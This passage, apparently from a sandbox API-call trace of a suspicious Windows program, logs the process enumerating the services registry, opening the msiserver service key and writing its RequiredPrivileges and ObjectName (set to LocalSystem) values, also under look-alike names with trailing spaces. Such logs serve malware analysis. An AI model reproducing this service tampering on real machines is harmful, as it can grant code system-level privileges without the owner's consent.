cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0250.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0250.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0250.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0250.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0250.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0250.572] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0250.573] RegCloseKey (hKey=0xc4) returned 0x0 [0250.573] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.573] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.573] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.574] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.574] RegCloseKey (hKey=0x148) returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.574] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.575] RegCloseKey (hKey=0xc4) returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.576] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.577] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.577] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0250.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.577] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.578] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.579] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.579] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.579] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0250.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.627] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, 